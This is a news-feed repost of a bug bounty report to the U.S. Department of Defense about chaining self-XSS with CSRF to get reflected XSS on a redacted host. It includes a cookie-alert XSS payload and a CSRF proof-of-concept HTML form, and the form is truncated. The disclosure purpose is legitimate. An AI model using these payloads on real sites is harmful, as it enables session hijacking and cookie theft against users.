800+ IT
News
als RSS Feed abonnieren📚 U.S. Dept Of Defense: Self XSS + CSRF Leads to Reflected XSS in https://████/
💡 Newskategorie: Sicherheitslücken
🔗 Quelle: vulners.com
Hi Security Team, The form inputs in https://███/ Vulnerable to Self XSS Either the form was vulnerable to CSRF When these two bugs available and attacker could combine them to Perform a Reflected XSS Attack Impact Reflected XSS Execute JS Code in behave of a user System Host(s) █████████ Affected Product(s) and Version(s) CVE Numbers Steps to Reproduce 1 - Visit https://███████/ 2 - type the payload in the "First Name" input test";</script><script>alert(document.cookie)</script> 3 - Fill all input then submit the form 4 - Notice the XSS popup 5 - Exploit the CSRF to Perform Reflected XSS attack by this Code:- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://██████████/" method="POST"> <input type="hidden" name="title" value="es" /> <input type="hidden" name="first&#95;name" value="test";</script><script>alert(document.cookie)</script>" /> <input type="hidden" name="middle&#95;name" value="test" /> <input type="hidden" name="last&#95;name" value="test" /> <input type="hidden" name="suffix" value="II" /> <input type="hidden" name="sex" value="M" /> <input type="hidden" name="██████&#95;█████" value="█████" /> <input type="hidden" name="████████&#95;███████&#95;number" value="21365" /> <input type="hidden" name="address&#95;1" value="test" /> <input type="hidden" name="address&#95;2" value="test" /> <input type="hidden" name="city" value="test" /> <input... ...